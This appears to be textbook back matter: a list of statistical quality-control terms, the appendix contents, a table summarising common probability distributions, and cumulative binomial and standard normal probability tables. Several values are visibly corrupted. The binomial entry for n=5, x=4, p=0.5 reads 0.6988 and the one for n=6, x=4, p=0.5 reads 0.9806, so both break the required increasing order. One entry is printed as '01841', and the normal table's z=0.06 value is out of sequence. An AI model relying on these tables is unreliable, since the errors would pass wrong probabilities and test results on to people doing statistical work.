Defect concentration diagram
Defects-per-unit chart
Deming's 14 points
Exponentially weighted moving average control chart (EWMA)
False alarm
Fraction-defective control chart
Implementing SPC
Individuals control chart (X chart)
Moving range
NP chart
P chart
Pareto diagram
PCR
PCR_k
Problem-solving tools
Process capability
Process capability ratio
Quality control
R chart
Rational subgroup
Run rule
S chart
Shewhart control chart
Six-sigma process
Specification limits
Statistical process control (SPC)
Statistical quality control
U chart
V mask
Variables control charts
Warning limits
Western Electric rules
$\bar{X}$ chart

APPENDICES

APPENDIX A. STATISTICAL TABLES AND CHARTS 703

Table I Summary of Common Probability Distributions 704
Table II Cumulative Binomial Probabilities $P(X \leq x)$ 705
Table III Cumulative Standard Normal Distribution 708
Table IV Percentage Points $\chi^2_{\alpha,\nu}$ of the Chi-Squared Distribution 710
Table V Percentage Points $t_{\alpha,\nu}$ of the t Distribution 711
Table VI Percentage Points f_{α,ν_1,ν_2} of the F Distribution 712
Chart VII Operating Characteristic Curves 717
Table VIII Critical Values for the Sign Test 726
Table IX Critical Values for the Wilcoxon Signed-Rank Test 726
Table X Critical Values for the Wilcoxon Rank-Sum Test 727
Table XI Factors for Constructing Variables Control Charts 728
Table XII Factors for Tolerance Intervals 729

APPENDIX B. ANSWERS TO SELECTED EXERCISES 731

APPENDIX C. BIBLIOGRAPHY 747

Appendix A Statistical Tables and Charts

Table I Summary of Common Probability Distributions

Name	Probability Distribution	Mean	Variance	Section in Book
Discrete				
Uniform	$\frac{1}{n}, a \le b$	$\frac{(b+a)}{2}$	$\frac{(b-a+1)^2-1}{12}$	3-5
Binomial	$\binom{n}{x} p^x(1-p)^{n-x}$ $x = 0, 1, \ldots, n, 0 \le p \le 1$	np	$np(1-p)$	3-6
Geometric	$(1-p)^{x-1}p$ $x = 1, 2, \ldots, 0 \le p \le 1$	$1/p$	$(1-p)/p^2$	3-7
Negative binomial	$\binom{x-1}{r-1}(1-p)^{x-r}p^r$ $x = r, r+1, r+2, \ldots, 0 \le p \le 1$	r/p	$r(1-p)/p^2$	3-7
Hypergeometric	$\frac{\binom{K}{x}\binom{N-K}{n-x}}{\binom{N}{n}}$ $x = \max(0, n-N+K), 1, \ldots$ $\min(K, n), K \le N, n \le N$	np where $p = \frac{K}{N}$	$np(1-p)\left(\frac{N-n}{N-1}\right)$	3-8
Poisson	$\frac{e^{-\lambda}\lambda^x}{x!}, x = 0, 1, 2, \ldots, 0 < \lambda$	λ	λ	3-9
Continuous				
Uniform	$\frac{1}{b-a}, a \le x \le b$	$\frac{(b+a)}{2}$	$\frac{(b-a)^2}{12}$	4-5
Normal	$\frac{1}{\sigma\sqrt{2\pi}} e^{-\frac{1}{2}\left(\frac{x-\mu}{\sigma}\right)^2}$ $-\infty < x < \infty, -\infty < \mu < \infty, 0 < \sigma$	μ	σ^2	4-6
Exponential	$\lambda e^{-\lambda x}, 0 \le x, 0 < \lambda$	$1/\lambda$	$1/\lambda^2$	4-8
Erlang	$\frac{\lambda^r x^{r-1} e^{-\lambda x}}{(r-1)!}, 0 < x, r = 1, 2, \ldots$	r/λ	r/λ^2	4-9.1
Gamma	$\frac{\lambda x^{r-1} e^{-\lambda x}}{\Gamma(r)}, 0 < x, 0 < r, 0 < \lambda$	r/λ	r/λ^2	4-9.2
Weibull	$\frac{\beta}{\delta}\left(\frac{x}{\delta}\right)^{\beta-1} e^{-(x/\delta)^\beta}$ $0 < x, 0 < \beta, 0 < \delta$	$\delta\Gamma\left(1+\frac{1}{\beta}\right)$	$\delta^2\Gamma\left(1+\frac{2}{\beta}\right) - \delta^2\left[\Gamma\left(1+\frac{1}{\beta}\right)\right]^2$	4-10
Lognormal	$\frac{1}{x\omega\sqrt{2\pi}} \exp\left(\frac{-[\ln(x)-\theta]^2}{2\omega^2}\right)$	$e^{\theta+\omega^2/2}$	$e^{2\theta+\omega^2}(e^{\omega^2}-1)$	4-11
Beta	$\frac{\Gamma(\alpha+\beta)}{\Gamma(\alpha)\Gamma(\beta)} x^{\alpha-1}(1-x)^{\beta-1}$ $0 \le x \le 1, 0 < \alpha, 0 < \beta$	$\frac{\alpha}{\alpha+\beta}$	$\frac{\alpha\beta}{(\alpha+\beta)^2(\alpha+\beta+1)}$	4-12

Table II Cumulative Binomial Probabilities $P(X \leq x)$

		P										
n	x	0.1	0.2	0.3	0.4	0.5	0.6	0.7	0.8	0.9	0.95	0.99
1	0	0.9000	0.8000	0.7000	0.6000	0.5000	0.4000	0.3000	0.2000	0.1000	0.0500	0.0100
2	0	0.8100	0.6400	0.4900	0.3600	0.2500	0.1600	0.0900	0.0400	0.0100	0.0025	0.0001
	1	0.9900	0.9600	0.9100	0.8400	0.7500	0.6400	0.5100	0.3600	0.1900	0.0975	0.0199
3	0	0.7290	0.5120	0.3430	0.2160	0.1250	0.0640	0.0270	0.0080	0.0010	0.0001	0.0000
	1	0.9720	0.8960	0.7840	0.6480	0.5000	0.3520	0.2160	0.1040	0.0280	0.0073	0.0003
	2	0.9990	0.9920	0.9730	0.9360	0.8750	0.7840	0.6570	0.4880	0.2710	0.1426	0.0297
4	0	0.6561	0.4096	0.2401	0.1296	0.0625	0.0256	0.0081	0.0016	0.0001	0.0000	0.0000
	1	0.9477	0.8192	0.6517	0.4752	0.3125	0.1792	0.0837	0.0272	0.0037	0.0005	0.0000
	2	0.9963	0.9728	0.9163	0.8208	0.6875	0.5248	0.3483	0.1808	0.0523	0.0140	0.0006
	3	0.9999	0.9984	0.9919	0.9744	0.9375	0.8704	0.7599	0.5904	0.3439	0.1855	0.0394
5	0	0.5905	0.3277	0.1681	0.0778	0.0313	0.0102	0.0024	0.0003	0.0000	0.0000	0.0000
	1	0.9185	0.7373	0.5282	0.3370	0.1875	0.0870	0.0308	0.0067	0.0005	0.0000	0.0000
	2	0.9914	0.9421	0.8369	0.6826	0.5000	0.3174	0.1631	0.0579	0.0086	0.0012	0.0000
	3	0.9995	0.9933	0.9692	0.9130	0.8125	0.6630	0.4718	0.2627	0.0815	0.0226	0.0010
	4	1.0000	0.9997	0.9976	0.9898	0.6988	0.9222	0.8319	0.6723	0.4095	0.2262	0.0490
6	0	0.5314	0.2621	0.1176	0.0467	0.0156	0.0041	0.0007	0.0001	0.0000	0.0000	0.0000
	1	0.8857	0.6554	0.4202	0.2333	0.1094	0.0410	0.0109	0.0016	0.0001	0.0000	0.0000
	2	0.9842	0.9011	0.7443	0.5443	0.3438	0.1792	0.0705	0.0170	0.0013	0.0001	0.0000
	3	0.9987	0.9830	0.9295	0.8208	0.6563	0.4557	0.2557	0.0989	0.0159	0.0022	0.0000
	4	0.9999	0.9984	0.9891	0.9590	0.9806	0.7667	0.5798	0.3446	0.1143	0.0328	0.0015
	5	1.0000	0.9999	0.9993	0.9959	0.9844	0.9533	0.8824	0.7379	0.4686	0.2649	0.0585
7	0	0.4783	0.2097	0.0824	0.0280	0.0078	0.0016	0.0002	0.0000	0.0000	0.0000	0.0000
	1	0.8503	0.5767	0.3294	0.1586	0.0625	0.0188	0.0038	0.0004	0.0000	0.0000	0.0000
	2	0.9743	0.8520	0.6471	0.4199	0.2266	0.0963	0.0288	0.0047	0.0002	0.0000	0.0000
	3	0.9973	0.9667	0.8740	0.7102	0.5000	0.2898	0.1260	0.0333	0.0027	0.0002	0.0000
	4	0.9998	0.9953	0.9712	0.9037	0.7734	0.5801	0.3529	0.1480	0.0257	0.0038	0.0000
	5	1.0000	0.9996	0.9962	0.9812	0.9375	0.8414	0.6706	0.4233	0.1497	0.0444	0.0020
	6	1.0000	1.0000	0.9998	0.9984	0.9922	0.9720	0.9176	0.7903	0.5217	0.3017	0.0679
8	0	0.4305	0.1678	0.0576	0.0168	0.0039	0.0007	0.0001	0.0000	0.0000	0.0000	0.0000
	1	0.8131	0.5033	0.2553	0.1064	0.0352	0.0085	0.0013	0.0001	0.0000	0.0000	0.0000
	2	0.9619	0.7969	0.5518	0.3154	0.1445	0.0498	0.0113	0.0012	0.0000	0.0000	0.0000
	3	0.9950	0.9437	0.8059	0.5941	0.3633	0.1737	0.0580	0.0104	0.0004	0.0000	0.0000
	4	0.9996	0.9896	0.9420	0.8263	0.6367	0.4059	0.1941	0.0563	0.0050	0.0004	0.0000
	5	1.0000	0.9988	0.9887	0.9502	0.8555	0.6846	0.4482	0.2031	0.0381	0.0058	0.0001
	6	1.0000	0.9999	0.9987	0.9915	0.9648	0.8936	0.7447	0.4967	0.1869	0.0572	0.0027
	7	1.0000	1.0000	0.9999	0.9993	0.9961	0.9832	0.9424	0.8322	0.5695	0.3366	0.0773
9	0	0.3874	0.1342	0.0404	0.0101	0.0020	0.0003	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.7748	0.4362	0.1960	0.0705	0.0195	0.0038	0.0004	0.0000	0.0000	0.0000	0.0000
	2	0.9470	0.7382	0.4628	0.2318	0.0889	0.0250	0.0043	0.0003	0.0000	0.0000	0.0000
	3	0.9917	0.9144	0.7297	0.4826	0.2539	0.0994	0.0253	0.0031	0.0001	0.0000	0.0000
	4	0.9991	0.9804	0.9012	0.7334	0.5000	0.2666	0.0988	0.0196	0.0009	0.0000	0.0000
	5	0.9999	0.9969	0.9747	0.9006	0.7461	0.5174	0.2703	0.0856	0.0083	0.0006	0.0000
	6	1.0000	0.9997	0.9957	0.9750	0.9102	0.7682	0.5372	0.2618	0.0530	0.0084	0.0001
	7	1.0000	1.0000	0.9996	0.9962	0.9805	0.9295	0.8040	0.5638	0.2252	0.0712	0.0034
	8	1.0000	1.0000	1.0000	0.9997	0.9980	0.9899	0.9596	0.8658	0.6126	0.3698	0.0865

Table II Cumulative Binomial Probabilities $P(X \leq x)$ (*continued*)

		P										
n	x	0.1	0.2	0.3	0.4	0.5	0.6	0.7	0.8	0.9	0.95	0.99
10	0	0.3487	0.1074	0.0282	0.0060	0.0010	0.0001	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.7361	0.3758	0.1493	0.0464	0.0107	0.0017	0.0001	0.0000	0.0000	0.0000	0.0000
	2	0.9298	0.6778	0.3828	0.1673	0.0547	0.0123	0.0016	0.0001	0.0000	0.0000	0.0000
	3	0.9872	0.8791	0.6496	0.3823	0.1719	0.0548	0.0106	0.0009	0.0000	0.0000	0.0000
	4	0.9984	0.9672	0.8497	0.6331	0.3770	0.1662	0.0473	0.0064	0.0001	0.0000	0.0000
	5	0.9999	0.9936	0.9527	0.8338	0.6230	0.3669	0.1503	0.0328	0.0016	0.0001	0.0000
	6	1.0000	0.9991	0.9894	0.9452	0.8281	0.6177	0.3504	0.1209	0.0128	0.0010	0.0000
	7	1.0000	0.9999	0.9984	0.9877	0.9453	0.8327	0.6172	0.3222	0.0702	0.0115	0.0001
	8	1.0000	1.0000	0.9999	0.9983	0.9893	0.9536	0.8507	0.6242	0.2639	0.0861	0.0043
	9	1.0000	1.0000	1.0000	0.9999	0.9990	0.9940	0.9718	0.8926	0.6513	0.4013	0.0956
11	0	0.3138	0.0859	0.0198	0.0036	0.0005	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.6974	0.3221	0.1130	0.0302	0.0059	0.0007	0.0000	0.0000	0.0000	0.0000	0.0000
	2	0.9104	0.6174	0.3127	0.1189	0.0327	0.0059	0.0006	0.0000	0.0000	0.0000	0.0000
	3	0.9815	0.8389	0.5696	0.2963	0.1133	0.0293	0.0043	0.0002	0.0000	0.0000	0.0000
	4	0.9972	0.9496	0.7897	0.5328	0.2744	0.0994	0.0216	0.0020	0.0000	0.0000	0.0000
	5	0.9997	0.9883	0.9218	0.7535	0.5000	0.2465	0.0782	0.0117	0.0003	0.0000	0.0000
	6	1.0000	0.9980	0.9784	0.9006	0.7256	0.4672	0.2103	0.0504	0.0028	0.0001	0.0000
	7	1.0000	0.9998	0.9957	0.9707	0.8867	0.7037	0.4304	0.1611	0.0185	0.0016	0.0000
	8	1.0000	1.0000	0.9994	0.9941	0.9673	0.8811	0.6873	0.3826	0.0896	0.0152	0.0002
	9	1.0000	1.0000	1.0000	0.9993	0.9941	0.9698	0.8870	0.6779	0.3026	0.1019	0.0052
	10	1.0000	1.0000	1.0000	1.0000	0.9995	0.9964	0.9802	0.9141	0.6862	0.4312	0.1047
12	0	0.2824	0.0687	0.0138	0.0022	0.0002	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.6590	0.2749	0.0850	0.0196	0.0032	0.0003	0.0000	0.0000	0.0000	0.0000	0.0000
	2	0.8891	0.5583	0.2528	0.0834	0.0193	0.0028	0.0002	0.0000	0.0000	0.0000	0.0000
	3	0.9744	0.7946	0.4925	0.2253	0.0730	0.0153	0.0017	0.0001	0.0000	0.0000	0.0000
	4	0.9957	0.9274	0.7237	0.4382	0.1938	0.0573	0.0095	0.0006	0.0000	0.0000	0.0000
	5	0.9995	0.9806	0.8822	0.6652	0.3872	0.1582	0.0386	0.0039	0.0001	0.0000	0.0000
	6	0.9999	0.9961	0.9614	0.8418	0.6128	0.3348	0.1178	0.0194	0.0005	0.0000	0.0000
	7	1.0000	0.9994	0.9905	0.9427	0.8062	0.5618	0.2763	0.0726	0.0043	0.0002	0.0000
	8	1.0000	0.9999	0.9983	0.9847	0.9270	0.7747	0.5075	0.2054	0.0256	0.0022	0.0000
	9	1.0000	1.0000	0.9998	0.9972	0.9807	0.9166	0.7472	0.4417	0.1109	0.0196	0.0002
	10	1.0000	1.0000	1.0000	0.9997	0.9968	0.9804	0.9150	0.7251	0.3410	0.1184	0.0062
	11	1.0000	1.0000	1.0000	1.0000	0.9998	0.9978	0.9862	0.9313	0.7176	0.4596	0.1136
13	0	0.2542	0.0550	0.0097	0.0013	0.0001	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.6213	0.2336	0.0637	0.0126	0.0017	0.0001	0.0000	0.0000	0.0000	0.0000	0.0000
	2	0.8661	0.5017	0.2025	0.0579	0.0112	0.0013	0.0001	0.0000	0.0000	0.0000	0.0000
	3	0.9658	0.7473	0.4206	0.1686	0.0461	0.0078	0.0007	0.0000	0.0000	0.0000	0.0000
	4	0.9935	0.9009	0.6543	0.3530	0.1334	0.0321	0.0040	0.0002	0.0000	0.0000	0.0000
	5	0.9991	0.9700	0.8346	0.5744	0.2905	0.0977	0.0182	0.0012	0.0000	0.0000	0.0000
	6	0.9999	0.9930	0.9376	0.7712	0.5000	0.2288	0.0624	0.0070	0.0001	0.0000	0.0000
	7	1.0000	0.9988	0.9818	0.9023	0.7095	0.4256	0.1654	0.0300	0.0009	0.0000	0.0000
	8	1.0000	0.9988	0.9960	0.9679	0.8666	0.6470	0.3457	0.0991	0.0065	0.0003	0.0000
	9	1.0000	1.0000	0.9993	0.9922	0.9539	0.8314	0.5794	0.2527	0.0342	0.0031	0.0000
	10	1.0000	1.0000	0.9999	0.9987	0.9888	0.9421	0.7975	0.4983	0.1339	0.0245	0.0003
	11	1.0000	1.0000	1.0000	0.9999	0.9983	0.9874	0.9363	0.7664	0.3787	0.1354	0.0072
	12	1.0000	1.0000	1.0000	1.0000	0.9999	0.9987	0.9903	0.9450	0.7458	0.4867	0.1225

Table II Cumulative Binomial Probabilities $P(X \leq x)$ (*continued*)

		P										
n	*x*	0.1	0.2	0.3	0.4	0.5	0.6	0.7	0.8	0.9	0.95	0.99
14	0	0.2288	0.0440	0.0068	0.0008	0.0001	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.5846	0.1979	0.0475	0.0081	0.0009	0.0001	0.0000	0.0000	0.0000	0.0000	0.0000
	2	0.8416	0.4481	0.1608	0.0398	0.0065	0.0006	0.0000	0.0000	0.0000	0.0000	0.0000
	3	0.9559	0.6982	0.3552	0.1243	0.0287	0.0039	0.0002	0.0000	0.0000	0.0000	0.0000
	4	0.9908	0.8702	0.5842	0.2793	0.0898	0.0175	0.0017	0.0000	0.0000	0.0000	0.0000
	5	0.9985	0.9561	0.7805	0.4859	0.2120	0.0583	0.0083	0.0004	0.0000	0.0000	0.0000
	6	0.9998	0.9884	0.9067	0.6925	0.3953	0.1501	0.0315	0.0024	0.0000	0.0000	0.0000
	7	1.0000	0.9976	0.9685	0.8499	0.6047	0.3075	0.0933	0.0116	0.0002	0.0000	0.0000
	8	1.0000	0.9996	0.9917	0.9417	0.7880	0.5141	0.2195	0.0439	0.0015	0.0000	0.0000
	9	1.0000	1.0000	0.9983	0.9825	0.9102	0.7207	0.4158	0.1298	0.0092	0.0004	0.0000
	10	1.0000	1.0000	0.9998	0.9961	0.9713	0.8757	0.6448	0.3018	0.0441	0.0042	0.0000
	11	1.0000	1.0000	1.0000	0.9994	0.9935	0.9602	0.8392	0.5519	0.1584	0.0301	0.0003
	12	1.0000	1.0000	1.0000	0.9999	0.9991	0.9919	0.9525	0.8021	0.4154	0.1530	0.0084
	13	1.0000	1.0000	1.0000	1.0000	0.9999	0.9992	0.9932	0.9560	0.7712	0.5123	0.1313
15	0	0.2059	0.0352	0.0047	0.0005	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.5490	0.1671	0.0353	0.0052	0.0005	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	2	0.8159	0.3980	0.1268	0.0271	0.0037	0.0003	0.0000	0.0000	0.0000	0.0000	0.0000
	3	0.9444	0.6482	0.2969	0.0905	0.0176	0.0019	0.0001	0.0000	0.0000	0.0000	0.0000
	4	0.9873	0.8358	0.5155	0.2173	0.0592	0.0093	0.0007	0.0000	0.0000	0.0000	0.0000
	5	0.9978	0.9389	0.7216	0.4032	0.1509	0.0338	0.0037	0.0001	0.0000	0.0000	0.0000
	6	0.9997	0.9819	0.8689	0.6098	0.3036	0.0950	0.0152	0.0008	0.0000	0.0000	0.0000
	7	1.0000	0.9958	0.9500	0.7869	0.5000	0.2131	0.0500	0.0042	0.0000	0.0000	0.0000
	8	1.0000	0.9992	0.9848	0.9050	0.6964	0.3902	0.1311	0.0181	0.0003	0.0000	0.0000
	9	1.0000	0.9999	0.9963	0.9662	0.8491	0.5968	0.2784	0.0611	0.0022	0.0001	0.0000
	10	1.0000	1.0000	0.9993	0.9907	0.9408	0.7827	0.4845	0.1642	0.0127	0.0006	0.0000
	11	1.0000	1.0000	0.9999	0.9981	0.9824	0.9095	0.7031	0.3518	0.0556	0.0055	0.0000
	12	1.0000	1.0000	1.0000	0.9997	0.9963	0.9729	0.8732	0.6020	01841	0.0362	0.0004
	13	1.0000	1.0000	1.0000	1.0000	0.9995	0.9948	0.9647	0.8329	0.4510	0.1710	0.0096
	14	1.0000	1.0000	1.0000	1.0000	1.0000	0.9995	0.9953	0.9648	0.7941	0.5367	0.1399
20	0	0.1216	0.0115	0.0008	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	1	0.3917	0.0692	0.0076	0.0005	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	2	0.6769	0.2061	0.0355	0.0036	0.0002	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	3	0.8670	0.4114	0.1071	0.0160	0.0013	0.0000	0.0000	0.0000	0.0000	0.0000	0.0000
	4	0.9568	0.6296	0.2375	0.0510	0.0059	0.0003	0.0000	0.0000	0.0000	0.0000	0.0000
	5	0.9887	0.8042	0.4164	0.1256	0.0207	0.0016	0.0000	0.0000	0.0000	0.0000	0.0000
	6	0.9976	0.9133	0.6080	0.2500	0.0577	0.0065	0.0003	0.0000	0.0000	0.0000	0.0000
	7	0.9996	0.9679	0.7723	0.4159	0.1316	0.0210	0.0013	0.0000	0.0000	0.0000	0.0000
	8	0.9999	0.9900	0.8867	0.5956	0.2517	0.0565	0.0051	0.0001	0.0000	0.0000	0.0000
	9	1.0000	0.9974	0.9520	0.7553	0.4119	0.1275	0.0171	0.0006	0.0000	0.0000	0.0000
	10	1.0000	0.9994	0.9829	0.8725	0.5881	0.2447	0.0480	0.0026	0.0000	0.0000	0.0000
	11	1.0000	0.9999	0.9949	0.9435	0.7483	0.4044	0.1133	0.0100	0.0001	0.0000	0.0000
	12	1.0000	1.0000	0.9987	0.9790	0.8684	0.5841	0.2277	0.0321	0.0004	0.0000	0.0000
	13	1.0000	1.0000	0.9997	0.9935	0.9423	0.7500	0.3920	0.0867	0.0024	0.0000	0.0000
	14	1.0000	1.0000	1.0000	0.9984	0.9793	0.8744	0.5836	0.1958	0.0113	0.0003	0.0000
	15	1.0000	1.0000	1.0000	0.9997	0.9941	0.9490	0.7625	0.3704	0.0432	0.0026	0.0000
	16	1.0000	1.0000	1.0000	1.0000	0.9987	0.9840	0.8929	0.5886	0.1330	0.0159	0.0000
	17	1.0000	1.0000	1.0000	1.0000	0.9998	0.9964	0.9645	0.7939	0.3231	0.0755	0.0010
	18	1.0000	1.0000	1.0000	1.0000	1.0000	0.9995	0.9924	0.9308	0.6083	0.2642	0.0169
	19	1.0000	1.0000	1.0000	1.0000	1.0000	1.0000	0.9992	0.9885	0.8784	0.6415	0.1821

$$\Phi(z) = P(Z \le z) = \int_{-\infty}^{z} \frac{1}{\sqrt{2\pi}} e^{-\frac{1}{2}u^2}\, du$$

Table III Cumulative Standard Normal Distribution

z	−0.09	−0.08	−0.07	−0.06	−0.05	−0.04	−0.03	−0.02	−0.01	−0.00
−3.9	0.000033	0.000034	0.000036	0.000037	0.000039	0.000041	0.000042	0.000044	0.000046	0.000048
−3.8	0.000050	0.000052	0.000054	0.000057	0.000059	0.000062	0.000064	0.000067	0.000069	0.000072
−3.7	0.000075	0.000078	0.000082	0.000085	0.000088	0.000092	0.000096	0.000100	0.000104	0.000108
−3.6	0.000112	0.000117	0.000121	0.000126	0.000131	0.000136	0.000142	0.000147	0.000153	0.000159
−3.5	0.000165	0.000172	0.000179	0.000185	0.000193	0.000200	0.000208	0.000216	0.000224	0.000233
−3.4	0.000242	0.000251	0.000260	0.000270	0.000280	0.000291	0.000302	0.000313	0.000325	0.000337
−3.3	0.000350	0.000362	0.000376	0.000390	0.000404	0.000419	0.000434	0.000450	0.000467	0.000483
−3.2	0.000501	0.000519	0.000538	0.000557	0.000577	0.000598	0.000619	0.000641	0.000664	0.000687
−3.1	0.000711	0.000736	0.000762	0.000789	0.000816	0.000845	0.000874	0.000904	0.000935	0.000968
−3.0	0.001001	0.001035	0.001070	0.001107	0.001144	0.001183	0.001223	0.001264	0.001306	0.001350
−2.9	0.001395	0.001441	0.001489	0.001538	0.001589	0.001641	0.001695	0.001750	0.001807	0.001866
−2.8	0.001926	0.001988	0.002052	0.002118	0.002186	0.002256	0.002327	0.002401	0.002477	0.002555
−2.7	0.002635	0.002718	0.002803	0.002890	0.002980	0.003072	0.003167	0.003264	0.003364	0.003467
−2.6	0.003573	0.003681	0.003793	0.003907	0.004025	0.004145	0.004269	0.004396	0.004527	0.004661
−2.5	0.004799	0.004940	0.005085	0.005234	0.005386	0.005543	0.005703	0.005868	0.006037	0.006210
−2.4	0.006387	0.006569	0.006756	0.006947	0.007143	0.007344	0.007549	0.007760	0.007976	0.008198
−2.3	0.008424	0.008656	0.008894	0.009137	0.009387	0.009642	0.009903	0.010170	0.010444	0.010724
−2.2	0.011011	0.011304	0.011604	0.011911	0.012224	0.012545	0.012874	0.013209	0.013553	0.013903
−2.1	0.014262	0.014629	0.015003	0.015386	0.015778	0.016177	0.016586	0.017003	0.017429	0.017864
−2.0	0.018309	0.018763	0.019226	0.019699	0.020182	0.020675	0.021178	0.021692	0.022216	0.022750
−1.9	0.023295	0.023852	0.024419	0.024998	0.025588	0.026190	0.026803	0.027429	0.028067	0.028717
−1.8	0.029379	0.030054	0.030742	0.031443	0.032157	0.032884	0.033625	0.034379	0.035148	0.035930
−1.7	0.036727	0.037538	0.038364	0.039204	0.040059	0.040929	0.041815	0.042716	0.043633	0.044565
−1.6	0.045514	0.046479	0.047460	0.048457	0.049471	0.050503	0.051551	0.052616	0.053699	0.054799
−1.5	0.055917	0.057053	0.058208	0.059380	0.060571	0.061780	0.063008	0.064256	0.065522	0.066807
−1.4	0.068112	0.069437	0.070781	0.072145	0.073529	0.074934	0.076359	0.077804	0.079270	0.080757
−1.3	0.082264	0.083793	0.085343	0.086915	0.088508	0.090123	0.091759	0.093418	0.095098	0.096801
−1.2	0.098525	0.100273	0.102042	0.103835	0.105650	0.107488	0.109349	0.111233	0.113140	0.115070
−1.1	0.117023	0.119000	0.121001	0.123024	0.125072	0.127143	0.129238	0.131357	0.133500	0.135666
−1.0	0.137857	0.140071	0.142310	0.144572	0.146859	0.149170	0.151505	0.153864	0.156248	0.158655
−0.9	0.161087	0.163543	0.166023	0.168528	0.171056	0.173609	0.176185	0.178786	0.181411	0.184060
−0.8	0.186733	0.189430	0.192150	0.194894	0.197662	0.200454	0.203269	0.206108	0.208970	0.211855
−0.7	0.214764	0.217695	0.220650	0.223627	0.226627	0.229650	0.232695	0.235762	0.238852	0.241964
−0.6	0.245097	0.248252	0.251429	0.254627	0.257846	0.261086	0.264347	0.267629	0.270931	0.274253
−0.5	0.277595	0.280957	0.284339	0.287740	0.291160	0.294599	0.298056	0.301532	0.305026	0.308538
−0.4	0.312067	0.315614	0.319178	0.322758	0.326355	0.329969	0.333598	0.337243	0.340903	0.344578
−0.3	0.348268	0.351973	0.355691	0.359424	0.363169	0.366928	0.370700	0.374484	0.378281	0.382089
−0.2	0.385908	0.389739	0.393580	0.397432	0.401294	0.405165	0.409046	0.412936	0.416834	0.420740
−0.1	0.424655	0.428576	0.432505	0.436441	0.440382	0.444330	0.448283	0.452242	0.456205	0.460172
0.0	0.464144	0.468119	0.472097	0.476078	0.480061	0.484047	0.488033	0.492022	0.496011	0.500000

$$\Phi(z) = P(Z \le z) = \int_{-\infty}^{z} \frac{1}{\sqrt{2\pi}} e^{-\frac{1}{2}u^2}\, du$$

Table III Cumulative Standard Normal Distribution (*continued*)

z	0.00	0.01	0.02	0.03	0.04	0.05	0.06	0.07	0.08	0.09
0.0	0.500000	0.503989	0.507978	0.511967	0.515953	0.519939	0.532922	0.527903	0.531881	0.535856
0.1	0.539828	0.543795	0.547758	0.551717	0.555760	0.559618	0.563559	0.567495	0.571424	0.575345
0.2	0.579260	0.583166	0.587064	0.590954	0.594835	0.598706	0.602568	0.606420	0.610261	0.614092
0.3	0.617911	0.621719	0.625516	0.629300	0.633072	0.636831	0.640576	0.644309	0.648027	0.651732
0.4	0.655422	0.659097	0.662757	0.666402	0.670031	0.673645	0.677242	0.680822	0.684386	0.687933
0.5	0.691462	0.694974	0.698468	0.701944	0.705401	0.708840	0.712260	0.715661	0.719043	0.722405
0.6	0.725747	0.729069	0.732371	0.735653	0.738914	0.742154	0.745373	0.748571	0.751748	0.754903
0.7	0.758036	0.761148	0.764238	0.767305	0.770350	0.773373	0.776373	0.779350	0.782305	0.785236
0.8	0.788145	0.791030	0.793892	0.796731	0.799546	0.802338	0.805106	0.807850	0.810570	0.813267
0.9	0.815940	0.818589	0.821214	0.823815	0.826391	0.828944	0.831472	0.833977	0.836457	0.838913
1.0	0.841345	0.843752	0.846136	0.848495	0.850830	0.853141	0.855428	0.857690	0.859929	0.862143
1.1	0.864334	0.866500	0.868643	0.870762	0.872857	0.874928	0.876976	0.878999	0.881000	0.882977
1.2	0.884930	0.886860	0.888767	0.890651	0.892512	0.894350	0.896165	0.897958	0.899727	0.901475
1.3	0.903199	0.904902	0.906582	0.908241	0.909877	0.911492	0.913085	0.914657	0.916207	0.917736
1.4	0.919243	0.920730	0.922196	0.923641	0.925066	0.926471	0.927855	0.929219	0.930563	0.931888
1.5	0.933193	0.934478	0.935744	0.936992	0.938220	0.939429	0.940620	0.941792	0.942947	0.944083
1.6	0.945201	0.946301	0.947384	0.948449	0.949497	0.950529	0.951543	0.952540	0.953521	0.954486
1.7	0.955435	0.956367	0.957284	0.958185	0.959071	0.959941	0.960796	0.961636	0.962462	0.963273
1.8	0.964070	0.964852	0.965621	0.966375	0.967116	0.967843	0.968557	0.969258	0.969946	0.970621
1.9	0.971283	0.971933	0.972571	0.973197	0.973810	0.974412	0.975002	0.975581	0.976148	0.976705
2.0	0.977250	0.977784	0.978308	0.978822	0.979325	0.979818	0.980301	0.980774	0.981237	0.981691
2.1	0.982136	0.982571	0.982997	0.983414	0.983823	0.984222	0.984614	0.984997	0.985371	0.985738
2.2	0.986097	0.986447	0.986791	0.987126	0.987455	0.987776	0.988089	0.988396	0.988696	0.988989
2.3	0.989276	0.989556	0.989830	0.990097	0.990358	0.990613	0.990863	0.991106	0.991344	0.991576
2.4	0.991802	0.992024	0.992240	0.992451	0.992656	0.992857	0.993053	0.993244	0.993431	0.993613
2.5	0.993790	0.993963	0.994132	0.994297	0.994457	0.994614	0.994766	0.994915	0.995060	0.995201
2.6	0.995339	0.995473	0.995604	0.995731	0.995855	0.995975	0.996093	0.996207	0.996319	0.996427
2.7	0.996533	0.996636	0.996736	0.996833	0.996928	0.997020	0.997110	0.997197	0.997282	0.997365
2.8	0.997445	0.997523	0.997599	0.997673	0.997744	0.997814	0.997882	0.997948	0.998012	0.998074
2.9	0.998134	0.998193	0.998250	0.998305	0.998359	0.998411	0.998462	0.998511	0.998559	0.998605
3.0	0.998650	0.998694	0.998736	0.998777	0.998817	0.998856	0.998893	0.998930	0.998965	0.998999
3.1	0.999032	0.999065	0.999096	0.999126	0.999155	0.999184	0.999211	0.999238	0.999264	0.999289
3.2	0.999313	0.999336	0.999359	0.999381	0.999402	0.999423	0.999443	0.999462	0.999481	0.999499
3.3	0.999517	0.999533	0.999550	0.999566	0.999581	0.999596	0.999610	0.999624	0.999638	0.999650
3.4	0.999663	0.999675	0.999687	0.999698	0.999709	0.999720	0.999730	0.999740	0.999749	0.999758
3.5	0.999767	0.999776	0.999784	0.999792	0.999800	0.999807	0.999815	0.999821	0.999828	0.999835
3.6	0.999841	0.999847	0.999853	0.999858	0.999864	0.999869	0.999874	0.999879	0.999883	0.999888
